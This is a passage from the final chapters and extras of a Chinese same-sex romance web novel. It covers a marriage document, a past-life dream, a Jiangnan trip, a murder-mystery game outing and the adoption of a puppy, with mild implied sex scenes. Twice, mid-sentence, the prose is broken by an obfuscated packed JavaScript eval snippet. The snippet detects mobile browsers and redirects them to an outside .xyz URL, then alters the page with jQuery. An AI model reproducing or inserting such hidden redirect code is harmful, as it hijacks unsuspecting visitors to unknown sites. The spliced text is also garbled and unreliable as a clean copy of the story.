很快到了中秋,路既棠和殷倚松在阳台上赏月,殷倚松悄悄将路既棠手中的甜酒换成了茶。路既棠要抢,殷倚松就顺势喝了,路既棠于是扑过来吻他。 到了初冬时,路既棠整理从前的书,却见一封信从书中掉了出来,殷倚松就在书房里,看着路既棠将那封信打开,原来是封情书,一封高考后塞给路既棠的情书,这么多年,路既棠竟然没有发现。 殷倚松将那封情书看完后,捏着那封情书的页脚,轻声说道:“‘亲爱的路既棠’,‘这是我第一次动心’,‘在很多时刻里我都在想你’,嗯?” 那封信没有署名。只是写了一个日期。 “怎么了,吃醋啊?”路既棠逗他,“要是我说,大学时,我收到的情书更多,你该怎么办呢?” 殷倚松抬头看他,眼神危险极了,他猛地拦腰抱住了路既棠,将人扛上肩头,大步走进了卧室。 卧室里很快传来了路既棠低哑压抑的喘息声。 今年年末,杨秋染回国,和她一起回国的,还有她的男朋友季心峦。 季心峦是他的中文名,他是混血儿,母亲是国人,父亲是法国人。杨秋染和他谈了很多年,感情一直很稳定。 他一口中文说得非常流利,见了殷倚松就兴高采烈地喊道:“哥夫。” 然后他被杨秋染打了一下手背。 杨秋染看着殷倚松,又看了看路既棠,问路既棠:“你和我妈说过没?” 路既棠还没开口,白鹤生先替他说的,“怎么没说,殷倚松第一次上门,差点被见晞阿姨赶出来,还是你外婆看小棠实在是喜欢,才松了口让殷倚松进去的,殷倚松一副负荆请罪、此生非路既棠不要的架势,谁还能拦着?” 杨秋染听后,看着路既棠,说道:“那好吧,反正在我这里,只要你开心幸福就好。” 很快,又到了一年春节,拜完年后,在殷倚松家里,两人坐在庭院里的花树下,年年睡在躺椅上,路既棠拿过一张红纸,枕在桌上,捻着一只狼毫沾了金墨写字。 他气定神闲,姿势风雅,眼镜遮住了他的眉眼,只能看到那氤氲的书卷气。 殷倚松将一本医书翻完,去看路既棠在写什么。 路既棠写到尾声,正在收尾。 殷倚松凝神看过去,只见笔墨如云烟,路既棠萧散从容的字里,写的是一份婚书。 红纸金字的一份婚书。 最后一句是—— “一纸婚书,敬告天地,松棠所约,此生不离。” 【正文完】 51. 番外一 这天,路既棠做了一个梦。 “郎君。” “郎君该起了。”一道稚嫩的男声说道。 “现在已经是卯时二刻了,郎君再不起,晚到了又该被夫子罚了。” 房中烛火次第亮起,路既棠困倦地张开眼,“今日不是旬假吗,怎么又要上学?” 不等他再说什么,侍从们已经训练有素地上前将路既棠扶起。梳洗后,一层层的衣服套在路既棠身上,路既棠再睁眼时,已经是一身青衿,头发束好的模样了。 这时候,他不过十五束发之年,长发用玉簪束起,身着青衿学子服,腰束白玉腰带,脖子上挂着一枚银制的长命锁。 少年面如冠玉,身形如竹。 他垂着眼被侍从牵着往外走,刚过了月亮门,就遇上了同样穿了青衿的少年,那少年比他高了大半个头,神色温柔地过来牵他的袖子。 十五岁的路既棠抬眼,眼睛弯弯地笑道:“你来了。” 少年殷倚松“嗯”了一声,“今早的骑射课,我已经为你告假了……” “那是不是不用去了?”路既棠快活起来,沮丧一扫而空就要转身回屋睡回笼觉。 下一刻,他被殷倚松拎了回来。 和先天体弱的路既棠相比,殷倚松自幼习武,体格强悍,能轻轻松松地将路既棠扛起来。 “啊!”路既棠崩溃了,“我不想上学,前日我才被夫子打了手心,疼得要命!” 在很小的时候,路既棠就知道对谁撒娇管用。对夫子撒娇,不管用,对父亲撒娇,偶尔管用,对母亲撒娇,经常管用,对殷倚松撒娇,一定管用。 殷倚松是宣王世子,宣王与天子一母同胞,路既棠的姑母是天子妃嫔,当朝长公主嫁给了路家长子,也就是路既棠的伯父,两家姻亲,他和殷倚松算是沾亲带故。 殷倚松比他大半岁,要是正经算起来,路既棠还要唤殷倚松一声“表兄”。 路既棠被家里人宠惯了,又被殷倚松宠得不像话,简直要无法无天。 直到九岁时进了太学,才真正吃了苦头,太学的夫子治学严谨,不惧权贵,对娇生惯养的路既棠没有半点留情。 路既棠厌学了。 九岁时,他在家中哭着闹着不想去太学了,但连一向疼爱他的母亲这回都没有点头答应,还是殷倚松抱着他哄。好不容易路既棠才止住了哭声,抽抽嗒嗒地答应继续上学。 上学路既棠也上得不认真,不是睡觉就是和同窗说小话,课业不会就留给殷倚松帮他做,把夫子气得七窍生烟,用戒尺打他的手心。 路既棠伸出又红又肿的手给殷倚松看,殷倚松果然皱眉握住了路既棠的手,“怎么打成这样?” 路既棠正以为殷倚松要松口了,却见殷倚松说道:“就算这样,也不能不上学,今日骑射课,你旁观便好,算术课还是要学。” 听罢,路既棠生气了,他甩开殷倚松,气冲冲地出门爬上了马车,他哭诉道:“连你也不心疼我了。” 殷倚松无奈地叹了口气。 路既棠气得一整天都没再和殷倚松说过一句话。 太学辰时初开始授课,酉时末散学。 路既棠恹恹地回府。 戌时,路既棠沐浴后准备入睡,却见一道人影从墙上翻下来,他吓了一跳。 定睛一看,是殷倚松。 殷倚松一身黑色窄袖劲装,丰神俊朗。他走过来,路既棠盯着他不说话。 殷倚松将拢着的手松开,只见夏夜里,两只萤火虫从他的手心里飞出来,萤火虫一闪一闪,先是飞到路既棠的肩上,又绕着路既棠飞了一圈,最后飞向庭院中的万年青。 路既棠惊喜道:“我在京城已经很久没有看到萤火虫了,你从哪里抓来的?” 殷倚松却没答他,只是看着路既棠,不知看了多久后,才说道:“我要去北疆了,今夜是来和你告别的。” 路既棠本来要来拉殷倚松,闻言顿住了。 半晌后,路既棠才说道:“为什么这么突然,是什么时候的事情?” “半月前,父王入宫请的旨。” “那你什么时候回来?”路既棠问道。 殷倚松摇头,“可能三年后,也可能五年后。” “阿棠,”殷倚松上前抱住他,柔声说道,“我不在京城,你要好好的,按时吃药,把身体养好,这次去北疆,除了在军中历练,还是为了找能治你病的大夫。” 路既棠先天不足,刚出生时,府中的郎中便直言不讳,如果没有机缘奇遇,路既棠恐难活过三十岁。 殷倚松一直将这桩事记在心上。 殷倚松一去就是三年。 路既棠十八岁生辰时,邀了一群好友去摘星楼赏月。 三年时光,路既棠长开了,长成了潇洒落拓的世家公子。他一身云缎锦衣,腰系玉佩,一手执折扇,一手握酒壶,风雅极了。他倚着栏杆,百无聊赖,不知道在想些什么。 长街尽头响起了“哒哒”的马蹄声,一人纵马而来。那人一身银白战甲,墨发束在发冠里,气宇轩昂,他身骑白马到了摘星楼下,勒住了缰绳,抬头望过来。 那目光中沾染了沙场血气,和从前的温润如玉大不一样了。殷倚松定定地望着楼上的路既棠,说道:“阿棠,我回来了。” 在那一刹那间,梦中人神魂颠倒。 原来,是这一幕。 殷倚松从千里之外的北疆赶回来,只是为了贺一贺路既棠的十八岁生辰。 恍然间,路既棠想起母亲说过的。 在满岁的抓周宴上,路既棠越过种种,抓住了殷倚松的手。 抓周宴上所抓住的第一样事物,常被认为与他的一生前途息息相关。 那时候他就抓住了殷倚松。 他生来就该是他的。 殷倚松一路上楼,路既棠周边的人自觉散开,等到最后,摘星楼上,只剩下他们二人。 殷倚松走过来,狠狠地抱住了路既棠。 这次,殷倚松从北疆带回了一名大夫。 殷倚松回到京城不过一月,北疆战事忽起,殷倚松匆匆赶回北疆,临走前,他对路既棠说道:“阿棠,在我回来之前不许定亲,更不许成亲。” “阿棠,等我回来。” 北疆的战报八百里加急一封接一封送进天子堂中,殷倚松不负众望,击退了边疆劲敌,又一路北上收回失地。 路既棠及冠后的第二年开春,天子赐婚,为路既棠定下了昭王长女。这是世家与皇族联姻,路既棠抗旨不成,被罚禁足府中,直到成婚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396675|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路既棠成婚前月,北疆战事平定。 成婚那日,路既棠眉目如画,一身大红色喜服,烈得像火,烧得殷倚松的心都在沸腾。路既棠被从北疆赶回来的殷倚松抢了回去。 宣王府的喜堂中,殷倚松按着路既棠与自己拜堂成亲,饮下合卺酒,最后洞房。 洞房花烛夜里,路既棠宽大的袍袖流云似的散开,又被殷倚松撕烂。 殷倚松的动作凶极了。 他说:“我说过,让你等我回来。” 路既棠痛得咬了殷倚松一口,“我都为你抗旨了,你还要我怎么样?” 殷倚松动作没停,说道:“既然都是要和皇室联姻,不如和我联姻,明日我会入宫请罪。” 路既棠探出头来说道,“昭王郡主本来也要逃婚,结果被你抢先了,也好,骂名不至于落到她头上了。” 殷倚松眯着眼看他,“你竟还有力气说话。” 下一刻,路既棠连叫都叫不出来了。 第二日,殷倚松入宫,天子果然震怒。可不知殷倚松用了什么条件交换,天子最终居然默许了这桩荒唐的婚事。 往后,殷倚松长留京中,成为了一个真正的富贵闲人。 这年冬天,王府里的梅花开了,又过来几日,纷纷扬扬的大雪落了下来,路既棠裹得严严实实,被殷倚松带出去赏雪。 漫天雪景中,路既棠轻轻拂去殷倚松发间的细雪,笑着说道:“不知道此生能不能共白头,我当今日就是了。” 殷倚松握住了他的手,神色郑重地说道:“我一定会让你和我白头到老。” 可惜,这只是一个不能成行的期许。 大夫治不了这世间所有的病。 梦中,他们厮守了十年。 又是一年冬天,身体每况愈下的路既棠已经昏睡了几日,终于在红梅盛开的第一天里醒了过来。 他对殷倚松说,想去看看院里的红梅。 殷倚松沉默了一会,答应了。 路既棠躺在殷倚松怀里,手中握着一枝红梅,在新雪落下来时,路既棠轻声说道:“这一生,我其实过得很快活,没有什么遗憾了,你要好好活着,别为我殉情。” “我们来世再见,你要等我。” 像是怕殷倚松不答应,路既棠偏过头,在殷倚松耳边又说了一遍,“等我。” 殷倚松眼中的一滴泪落在路既棠的眼尾处。 殷倚松抱着路既棠,平静地说道:“好。” 路既棠已经没有了气息。 殷倚松抱紧怀中的人,眼泪一滴滴落下,沾湿了怀中人的衣襟。 百年后,殷倚松与路既棠合葬。 来世再见,已经过了许多年。 在这个梦里,路既棠看完了前世的自己和殷倚松的一生。 再醒来时,他发现殷倚松正在为他擦眼泪。 穿着睡衣的殷倚松眉心微皱,动作却很轻柔,“是做什么噩梦了吗,怎么这么伤心?” 路既棠抱住了殷倚松的脖子,闷声说道:“我梦到前世的我们了。” 殷倚松只惊讶了一瞬,他将路既棠抱住,轻轻摩挲着路既棠的后背,“那都已经过去了,别伤心,我们过好这一生就好了。” 毕竟,这会是很长很好的一生。 52. 番外二 很多年前,杨秋染梦到自己和另外两个哥哥都有对象了,三个人带着对象,一起去江南。 多年以后,这个梦成真了。 杨秋染回国过完春节,三月份,六个人各自腾出了半个月的时间,一同出发去了江南。 三月江南,草长莺飞。 他们的第一站是西湖。 他们先是登船游了湖,他们上船时是傍晚时分,太阳还没落山,月亮却已经隐隐探出头来。 路既棠坐在船头,在迎面而来的凉风中,听着讲解员的讲解,“断桥不断,长桥不长,孤山不孤。”有一首歌叫断桥残雪,讲解员说道,很久以前的一年冬天,西湖边的孤山下了雪,第二年春天,一桥之隔,山上白雪皑皑,湖中已经春水初融,所以得名断桥。(注1) 西湖有十景,每个景都有自己的典故。 或许最出名的就是白娘子和许仙的故事了。 船缓缓地开,途中,还遇上了别的船,别的船上的游客招手向他们打招呼,倚着栏杆的杨秋染和季心峦最先反应过来,也开始招手回应。 到了三潭印月时,月亮已经升高了,正好照在三个潭中,远处的岛上灯光亮起。 船游了一圈开始返航,路既棠看着湖中的景色,对殷倚松说道:“人生在世,就该到处走走,看看风景。” 暮色中,殷倚松笑了,“我和你一起。” 晚上,他们是在楼外楼吃的晚饭。西湖醋鱼端上来时,白鹤生凑过去看了,“好像也没有想象中的那么恐怖嘛。” 说罢,他率先用筷子夹了一块鱼肉放入口中,不过一瞬,他神色变幻,好一会,他才咽了下去。 席云启一直留意着他,看他神色,问道:“怎么了,没事吧。” 白鹤生一笑,“没事,好吃的,你也试一下。”说罢,他又夹了一筷子,径直递到席云启嘴边,席云启看了他一眼,无奈地张开了口,将那筷子鱼肉吃了进去。 季心峦一听,真的相信了,他也试了一下,鱼肉刚刚入口,他就“嗷”了一声。 杨秋染环顾一圈,她闭上眼睛又睁开,深呼吸,之后也尝了一口,“居然没有我想象中的那么……”她想了半天也没想出一个能表达自己心情的形容词。 她招呼路既棠和殷倚松,“试一下嘛,来都来了。” 来都来了。这句话真管用。 这天晚上,他们尝了很多菜,路既棠最喜欢那道东坡肉,很清爽,一点都不腻,很合他的口味。 第二天,他们从断桥出发,进了白堤,春色怡人,白堤外侧的深粉色桃花正在盛开,内侧的柳树枝条柔软随风飘荡,许多游人正站在花下拍照。 他们一路走到了平湖秋月,平湖秋月外的一条路上两侧种了高大的梧桐树,顺着梧桐树走过去,到了一座桥上,往回望去,刚好看到一辆“1314”路公交车驶过,有几对年轻情侣在等这一瞬间打卡拍照。 路既棠他们上了观光车,继续游苏堤,苏堤的空气十分清新,树下的草丛旁还能看到小松鼠蹦来跃去的身影,小松鼠长得憨态可掬,似乎有点胖过头了。 第三天,西湖下起了雨,柳絮狂飞,在孤山苍翠的树中,殷倚松为路既棠披上了一件外套,“今天降温了,别着凉了。” 路既棠笑了一下,转回去看雨了。 树中庭下,路既棠在看雨,而殷倚松在看路既棠。 他们在那里待了近五天。 下一站是杨秋染一直想去的南乔古镇。 在江南水乡里,坐在摇橹船上,船慢慢地摇,杨秋染小心地将手探出去,兴奋地划水,季心峦在给杨秋染拍照,白鹤生对坐船不感兴趣,枕在席云启肩上睡着了。 路既棠饶有兴致地看着船两边的景致,岸上白墙青瓦,坐了许多喝茶赏景的人,船一路过了码头,过了桥下,路既棠的视野越来越开阔,景致也越来越美。 岸上的倒影映在青绿的水中,蓝天、白云和岸上景物都成了水中的画。船行至终点,路既棠下船上岸时,在岸上的桥回望,发现来路上两侧的房上都挂着红色的灯笼。 许多摇橹船在水中穿行。 江南,路既棠至此对这两个字终于有了真正的概念。 他们继续在古镇里游玩,从一处名人故居出来后,听到不远处响起了敲锣打鼓的声音。 刹时,岸边许多人探出头来看,再远一些的岸上站满了人。 紧接着,两条摇橹船从上游缓缓驶来,前面的那条船上,穿着宋制婚服的新郎新娘站在船头,新娘团扇遮面,新郎笑着向两岸的人拱手,新郎身后的司仪一身红色长袍,朗声说道:“各位,我家公子小姐今日成亲,请各位到前面的广场观礼。” 后面那条船上则站着许多穿了宋制服装的送亲人士,想来是那对新人的亲眷,也都笑着向岸上的人拱手。 船一路走,司仪一路高喊。 是游船接亲。 杨秋染兴奋极了,抓着季心峦的手就要跟着船走。 路既棠和殷倚松对视一眼,两人同时笑了,于是他们也跟上去。 白鹤生当即拉着席云启跟着走。 广场已经站了许多人,司仪站在台上说了好长一段贺词后才喊道:“迎新人!” 堂上坐着两个年长打扮的人。 新郎新娘登台。 司仪接着道:“一拜天地!” 新娘手持团扇和新郎一起盈盈拜下。 “二拜高堂。” 新郎扶着新娘转身,两人一同向坐在高堂的两人拜去。 “夫妻对拜!” 新郎新娘面向彼此,再次拜下。 三拜结束后,新郎拿下新娘面前的团扇,两人一起面对观众,鞠了一躬。 “送——入——洞——房!”司仪再度喊道。 新郎新娘离场,一列侍女打扮的女孩子拎着篮子上台,司仪继续说道:“我家新人请各位吃喜糖——” 他话音刚落,台上的一列女孩子抓了一把篮子中的糖。 漫天的喜糖洒了下来,站得近的杨秋染接住了一颗又一颗。 最后,杨秋染居然接住了六颗喜糖,六个人刚好一人一颗,她笑道:“沾沾喜气。” 撒完喜糖后,台上的人又齐齐向台下的观众鞠了一 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路既棠说道:“所以到底是为了楼外的蒹葭还是今晚的月亮,都不是,是鸡鸣寺的樱花开了。”(注2) 楼外的蒹葭隐喻爱情,今晚的月亮隐喻故乡,鸡鸣寺的樱花隐喻归人。 闻言,殷倚松也想起了什么,他握着路既棠的手,微微一笑,和路既棠一起,站在樱花树下,赏三月花开。 从前以为等不到的人回来了,此刻还站在他的身边。 杨秋染拍完照后,跑过来兴奋地说道:“听说鸡鸣寺专斩孽缘,要是自己一个人去,还能一去寡三年……” 她还没说完,就被季心峦捂住嘴抱走了,“她乱说的,没有的事,相信科学。” 开什么玩笑,那两位,一位千辛万苦才和爱人冰释前嫌,一位费尽力气才让爱人非他不可。 一句“专斩孽缘”下去,没看见殷倚松和席云启脸色都变了吗。 路既棠第一次听说,他说道:“居然有这样的事,还真有意思。” 刚刚还在低头回信息的白鹤生抬起头,一副兴趣盎然的样子,“既然这么有意思,那我还非去不可了。” 路既棠和白鹤生对视一眼,同时在对方眼中看到戏谑。 与此同时,席云启拉住白鹤生的手,低声道:“你又想带着路既棠干什么坏事?” 白鹤生眉尾一挑,邪气简直要溢出来,他说:“你猜。” 席云启真是怕了他了。 不知道席云启和白鹤生说了什么,最终他们还是没进去。 游玩了一圈,他们该返程了。 在返程的飞机上,路既棠看着飞机一路穿过云层,看到了云上金灿灿的落日,殷倚松抱住他,低声说道:“睡吧,睡一觉就到家了。” 路既棠于是真的闭眼睡过去了。 这一趟,他见过了江南的春景,心满意足了。 真好。 未来,他们还会一起去看这个世界更多的风景。 53. 番外三 “各位玩家开始读本吧。” 今年三月三放了四天假。 第三天里,贺惊筠邀请路既棠他们去打剧本杀,地点还是当年的探案馆。 当年的贺惊筠只是一个DM主持人,现在贺惊筠已经是这个探案馆的股东之一了。 贺惊筠是真的爱剧本杀。 今天算是律所团建,除了律所五个人,殷倚松也来了,贺惊筠和席云启有一些私交,把席云启也叫上了,于是席云启带着白鹤生也来了。 八个人,刚好可以玩一个阵营本。 刑知非摆弄着桌上的可遥控电子蜡烛,“这算什么,小情侣来虐单身狗?” 她说着,胳膊肘捅了一下坐在她旁边的山月遥,“遥姐,争点气啊,你怎么还没点动静啊,之前那个怎么样了?” 山月遥正在吃店里发的水果零食,头也不抬,“她就看我是律师,觉得有利可图,你怎么能指望一个当年就擅长权衡利弊的人,突然有真心了呢,宁缺毋滥,我一个人也挺好的。” “不是所有的故事都会有圆满的结局,缺憾何尝不是一种美。” 白鹤生听完后,搭话道:“这话说得怎么这么有哲理。” 山月遥终于抬头看他,笑了,“你也这么觉得是吧,我算是看清楚了,恋爱脑要是遇不上好人,真的是死路一条,幸好我是恋爱脑的同时,还是一个能够理性思考的律师。” 刑知非说道:“看看,女人就是要有自己的事业,见过更广阔的天地后,就不会觉得爱情是生命里的全部了。” “说得好,”背对着她们,站在帘外的女生DM赞同道,“玩家读完本,咱们就可以先来玩个游戏了。” 这是一个古风阵营本,八位玩家的主线任务都是夺权,赢得那个最高的位置。 恰好,在场的八个人,脑子都很好使。 有人阴招不断,有人见招拆招,厮杀得格外激烈,硬生生把一个阵营本玩成了战斗本。 刑知非以退为进,到处抱大腿,谎话说得一套一套,卖惨也是张口就来,像就是为演戏而生的,到了倒数第二幕,她果断反水,一把将戚九羿的角色弄死了。 完了之后,她又开始来和路既棠谈合作。 彼时,路既棠正漫不经心地做剧本任务,他昨晚才被殷倚松折腾过,现在身上到处都是殷倚松咬出来的痕迹。 事实上,四天假期里,前两天他们都是在床上度过的。 殷倚松缠着路既棠,不让路既棠离开。 到了最后,殷倚松真的放开他了,路既棠却觉得身上某个地方已经变成了殷倚松的形状。 路既棠的腰又酸又疼,读本时简直坐立难安。 殷倚松悄悄帮他揉腰,却被他拍开了手,他想起殷倚松说过的话,忍住了要瞪殷倚松的冲动,转而在桌下踩了殷倚松一脚。 殷倚松没有露出痛色,反而摩挲起了他的手指,一副百毒不侵的样子。 刑知非看不过他们黏黏糊糊的劲,果断放弃了路既棠,去和贺惊筠合作了,贺惊筠欣然应允。 他们对打剧本杀有一种天然的熟悉感,如果实在要说,大概是,有些时候,开庭像是在打剧本杀。 开庭时,法官居中裁判,需要控场,像是剧本杀中的主持人DM,案情就像剧本杀的故事情节,原告起诉就像剧本杀组局,原告缺席就像剧本杀炸车。 离婚案件和财产继承案件就像情感本,涉及刑事且案情复杂的案件就像硬核推理本。偶尔,还会有当事人对着坐在审判席的法官喊“青天大老爷”。 有些时候,打剧本杀就像是做案件、开庭一样,都是在接触别人的故事、别人的人生。 所以,他们几个律师对打剧本杀怎么可能会不熟悉呢。 后面白鹤生有个紧急工作,不得已自爆角色离场了,他一走,席云启也没有再继续,放任殷倚松把他们两个角色手中的势力都夺走。 一路厮杀到最后,场上只剩下刑知非、贺惊筠和殷倚松。 贺惊筠下手也狠,抓准机会反杀刑知非,吞下了刑知非角色的势力,他笑着看了一眼一脸愤懑的刑知非,“得罪了。” 说完后,他对戚九羿说:“我给你报仇了,怎么样,够可以吧。” 刑知非看着他们两人,翻了个白眼,然后她去扒拉山月遥面前的零食了。 贺惊筠对上殷倚松,他们下手又准又狠,双方的势力地盘在眨眼间就被毁去。 最后,他们本里的角色同归于尽。 本场,没有赢家。 DM惊叹,“这是第一次没有主持人控场的,平常这个本都要打八个小时以上的,你们打得真快,而且你们居然打出了引导手册都没写出来的结局,太厉害了。” “真会夸,辛苦了,”贺惊筠付款后,又在开始前拉的剧本杀群里给DM发了一个红包,“记得收下,谢谢你今天带我们。” DM受宠若惊,她是认识贺惊筠的,贺惊筠算是她的半个老板。 打完本后,他们去了附近的一个餐厅吃饭。这些年,这条街上的餐厅饭店来来去去,居然只有零星几家老店和那家剧本杀店还在。 那天晚上,贺惊筠难得醉了,他透过窗,看向不远处的剧本杀店,店门开着,隐约能看见从店里透出来的温馨灯光。 他轻声说道:“快二十年了,我一直守着这里,剧本杀算是她的梦想了,我得帮她守着。” 他醉得狠了,口齿却依然清晰。当年的小姑娘是朋友,也是妹妹,她写完祝他考上想去的大学的许愿牌后就离世了,他总觉得亏欠她。 戚九羿扶着他的肩,沉声说道:“你不欠任何人的,困了自己这么多年,也该够了。” 贺惊筠撑着头看他,强撑精神笑着说道:“那不一样,我不和你说了。”说完后,他趴在桌上睡着了。 山月遥和刑知非淡定地坐着,熟练地等着戚九羿把贺惊筠送回家。 路既棠叹了一口气,似乎很多人的生命中都有遗憾和悔恨。 假期的最后一天,路既棠和殷倚松带着年年,又去见常玄和莫非。之前莫非养好伤后,路既棠就依言带着年年上门了。 那时候,莫非被禁足,苦闷得很,见到路既棠高兴极了,他招来踏雪,踏雪跳下来,蹭了蹭年年的鼻尖。 因为被流浪猫欺负过,年年一直很怕自己的同类。那天踏雪费了好大的力气,才让一直躲在路既棠怀里的年年敢出来和它一起玩。 后来,年年没有那么怕陌生动物了。 今天刚一进门,踏雪就扑过来喵喵叫,年年也兴奋地从路既棠怀里跃下,它们凑到了一起。 黑白分明的奶牛猫和半狸半白的简州猫开始在院中扑起了蝴蝶。 坐在厅堂中的常玄静静看着,莫非坐在他身边,殷勤地端茶倒水,常玄瞥了他一眼,“有话就说。” 莫非贴过来,说道:“师叔,我和朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396677|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友约了下周去隔壁市,解了禁足之后,这大半年我还是天天待在家里,可听话了,我现在都快发霉了,你布置的课业我都好好学了,能不能放我出去,三天就行。” 常玄推开莫非,饮了一口杯中茶,“你煮茶的手法还是没有长进,”他顿了一下说道,“哪个朋友?” 他像只是要逗逗莫非,等莫非口若悬河舌灿莲花地说完,才轻飘飘地撂下两个字,“不准。” 莫非头一次被常玄的无耻震惊到了,他气得抢过常玄手中的茶直接倒了。如果不是殷倚松和路既棠在场,莫非都想欺师灭祖了。 殷倚松难得说了一句公道话,“辞青这段时间十分勤勉,师叔也该奖励他,让辞青有学习的热情才好。” 路既棠也赞同地替莫非说了几句话。 最终,常玄还是松口了。 向常玄道别后,他们回家。回家的路上,经过一个路口时,路既棠敏锐地听到了一声细微的叫声。 殷倚松已经踩了刹车。 他们下车查看,只见前轮险而又险地避开了一只很小的褐色土松犬。那狗大概只有三四个月大,身上湿淋淋的,像是被人泼了什么液体。 殷倚松说道:“我来。” 说完后,他从车上拿出一块干净的毛巾,将小狗裹了起来,“这里不能停车,我们先上车。” 车上,路既棠小心翼翼的,唯恐小狗身上还有什么暗伤,他看着小狗,小狗也在看着他,一双圆圆的黑眼睛湿漉漉的,还在流着眼泪。 路既棠轻声对着小狗说:“别怕啊,没事了。” 殷倚松一边开车一边说道,“我不熟悉动物,要把它送到专门的宠物医院检查。” 宠物医院的医生很快帮小狗做了清洁,开始检查。 检查结果很快出来,小狗很健康,一切正常,只是被吓到才慌不择路跑到马路上来。 它很亲路既棠,被洗干净吹干毛发后,就一直试图往路既棠身上靠。 路既棠对殷倚松怀里的年年说道,“年年,如果你不想我们收留它,就叫一声,想的话,就叫两声。” 年年看了看路既棠,又看了看一直扒拉着路既棠袖子的小狗,耳朵尖上的聪明毛动了又动,最后,它喵了两声。 踏雪让它看到了动物间的友善,让它愿意亲近别的动物,它也愿意像踏雪一样。 最终,他们带着小狗一起回了家。 经过一段时间的隔离后,小狗终于被路既棠放了出来。 它像是闷坏了,一出来就跑去找年年玩耍,年年不搭理它,它也不气馁,它前爪趴在地上,尾巴一甩一甩的,吐着舌头,一副可爱又机灵的样子。 路既棠坐下来,陪它们玩了一会,才说道:“该给你起个什么名字呢?” 殷倚松走过来,坐在路既棠身边,亲了一口路既棠的鼻尖,说道:“不如叫岁岁吧。” 年年岁岁。 又过了一个月,年年终于愿意让小狗靠近自己了,岁岁高兴极了,它蹭着年年的毛,一拱一拱的,吃饱后,它们俩互相挨着,在同一个窝里睡着了。 这天,路既棠在书房翻看一本闲书,殷倚松站在书房的窗边给文竹浇水,阳光照进来,将殷倚松看向路既棠的目光照得更加温柔缱绻。 书房外的猫和狗正在一蹦一跳地玩耍。 年年岁岁,岁岁年年。 他们还有很多个岁岁年年。 【全文完】